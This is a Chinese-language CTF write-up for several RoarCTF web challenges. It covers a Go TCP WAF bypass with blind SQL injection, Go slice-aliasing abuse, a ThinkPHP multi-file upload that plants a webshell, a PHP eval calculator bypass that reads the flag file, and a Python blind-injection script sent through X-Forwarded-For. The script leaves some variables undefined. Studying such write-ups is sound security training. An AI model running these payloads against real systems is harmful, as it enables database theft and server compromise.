RoarCTF Web WriteUp

Dist

打开题目,看到一个build.js泄露了sourceMap

访问build.js.map可以看到API地址和备份文件地址

下载备份文件,可以看到是一个go写的后台,nodejs写得前端。本地跑起来进行审计。

登录处明显有注入

但是题目有个用go写的基于TCP的waf,原理简单来说就是自写了一个TCP转发,并且不允许输入部分关键字。

func tcpWaf(server net.Conn, client net.Conn) bool {
    defer func() {
        recover()
    }()
    buf := make([]byte, 4*1024)

    for {
        nr, er := client.Read(buf)
        dataS := bytes.Split(buf[:nr], []byte{13, 10, 13, 10})

        // get the request body
        // split by CRLFCRLF
        data := bytes.Join(dataS[1:], []byte(""))

        for _, word := range WAFWORD {
            if strings.Contains(strings.ToLower(string(data)), word) {
                client.Write([]byte("HTTP/1.1 200\r\nServer: iWAF/0.0.1\r\n\r\nintercepted\r\n\r\n"))
                return false
            }
        }
        if nr > 0 {
            nw, ew := server.Write(buf[0:nr])
            if ew != nil {
                break
            }
            if nr != nw {
                break
            }
        }
        if er != nil {
            break
        }
    }
    return true
}

可以看到是循环读4096个数据,然后过滤掉\r\n\r\n后进行字符串匹配,判断是否含有关键字。

其中有这行语句有问题:

data := bytes.Join(dataS[1:], []byte(""))

join连接时只会连接被\r\n\r\n分割的第二块开始的内容,那么我们填充请求头使得第一块大于4096,第二块恰好没有\r\n\r\n,切割时第二块就只会切割成一份,就不会检查了。

按照下面payload进行盲注'''{"uname":"jrxnm' or (select substr(secret,%s,1)from secret )='%s' and '1","pwd":"qwer1234"}'''

注入出secret,就可以伪造admin了。

这题做到这审了很久都没审出来,赛后师傅们告诉我这后面是今年Teaser CONFidence CTF 2019 "The Lottery" 几乎一模一样的套路,关于go语言 Slice 的特性。

go语言的Slice 用 make([]type, len, cap)进行初始化,它的len代表Slice长度,cap代表容量。当Slice append添加一个数据时,len加1,如果没有大于cap的话cap就不变化,如果大于cap就会动态扩容,如果Slice的容量小于1024个元素,那么扩容的时候slice的cap就翻番,乘以2。

当Slice 赋值时指向的是同一块地址,而如果Slice扩容了,它动态扩容的原理是新开辟一块更大的地址放置。

重点,这意味着,如果有一个切片a内容为[1,2,3],len=3,cap=4。此时令

b := append(a,1)
c := append(a,2)

此时的b, c内容会相等! 为什么呢,因为append的时候len+1没有大于cap就不会扩容,a的位置没变,b,c都是指向原来a的位置。那b,c现在的值是多少呢 [1,2,3,2] 。

当执行完b := append(a,1)时, b指向的仍为a,且的内容为[1,2,3,1],len=4,cap=4。此时a虽也指向[1,2,3,1]但是lem=3,所以值仍为[1,2,3]。当执行c := append(a,2)时,覆盖了a的第四个内容,改为了[1,2,3,2]且此时a,b,c都指向它。

go的内容说完了, 本题每个人只有最多6个容量大小的钱,6次得钱都是通过Beg每次随机从99以内获取

func (u *U) Beg() {
    if len(u.balances) >= MAX_BALANCES {
        return
    }
    b := rand.Intn(99)
    u.balances = append(u.balances, uint64(b))
}

拿到flag的条件是,要么个人拥有的前总额大于999999,要么每次读博自己的钱加上uint64(0xFFFFFFF+rand.Intn(0xFFFFF))等于0x1010010C

total = player.balances
fmt.Print(total)
total = append(total, uint64(0xFFFFFFF+rand.Intn(0xFFFFF)))
fmt.Print(total)
if sum(total) == 0x1010010C {
s.Winners[player.Uname] = struct{}{}
}

我们可以看到个人的balances就是切片结构,按照上面go的特性,当u beg3次后,u.balances为[xx,xx,xx]且len=3,cap=4。此时利用刚才注入的secret伪造admin账户将u加入player中,此时u再beg一次,u.balances内容而为[xx,xx,xx,xx],len=4,cap=4。再利用admin账户start gambling,player.balances 本来指向u.balance,len=3,cap=4,开始后再次append一个uint64(0xFFFFFFF+rand.Intn(0xFFFFF))覆盖了u.balances的第四个内容,变成了一个很大的数,此时满足个人balances大于999999可以拿到flag。

Easy Upload

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 

拿出代码收集信息是thinkphp 3.2.4写的,这代码审计没发现什么问题,结合thinkphp 3.2.4上传模块发现问题。

关键代码:

可以看到,用户所写得代码使用时未指定files,默认为$_FILES,这意味着,所有$_FILES中的文件都会被上传。而代码只会过滤$_FILES['file']中的文件。所以上传两个文件,一个name为file的正常图片,另一个name为其他的webshell。

最后会打印出$_FILES['file']的文件地址,而不会打印我们shell的地址

$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));

简单审计,thinkphp3默认使用uniqid()函数根据时间生成文件名,两个文件上传时间相近可以爆破。

最后上传的php会被后台替换成flag

Easy calc

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

这上面的代码还是很好绕的,就是还有一个waf,对于所有地址的num参数只允许输入数字和部分符号。绕过这个waf的方法也很简单,把输入的参数改为num即空格+num,waf不会过滤这个参数,但是php识别时这两个是一样的。

此时就比较好做了,只要绕过引号就行

calc.php? num=1;print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

easy_java

进题有个help可以下载文件,点击连接输入什么filename都显示文件不存在

原来是需要发送POST数据包,它才会处理这个GET参数(没错,发送POST包处理GET参数)

接下来就简单了,下载配置文件,找到flag相关类

按指定目录结构下载class,丢到工具反编译class就能拿到base64 flag

Online Proxy

拿到手一直以为是个ssrf绕过,绕过了很久都没啥想法。

看到了师傅们的Wp原来是注入Orz,而且和原来的url参数一点关系没有。在X-Forwarded-For处存在Insert Into注入,之后就是盲注了。

主要卡人点在fuzz过程,题目应该是用Cookie中的track_uuid标志每个人,而当本次的IP和上次的IP不同时才会把上次ip插入。

最后就是很常规的盲注。

import re
import requests

url = 'http://node3.buuoj.cn:28951'
pa = re.compile(r'Last Ip: (\d) -->')
for n in range(1,60):
    for i in range(30,127):
        c = False
        while True:
            try:
                ip =  '''1' and (ascii(substr((select group_concat(F4l9_c01umn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))={}))#'''.format(str(n),str(i))
                header['X-Forwarded-For'] = ip
                r = requests.get(url, headers=header, timeout=2)
                header['X-Forwarded-For'] = 'hhhhh'
                r = requests.get(url, headers=header, timeout=2)
                r = requests.get(url, headers=header, timeout=2)
                break
            except:
                traceback.print_exc()
                continue
        res = pa.findall(r.text)
        if res:
            if res[0] == '1':
                c = True
                s = s + chr(i)
                print(s)
                break

    if not c:
        break
print('flag:', s)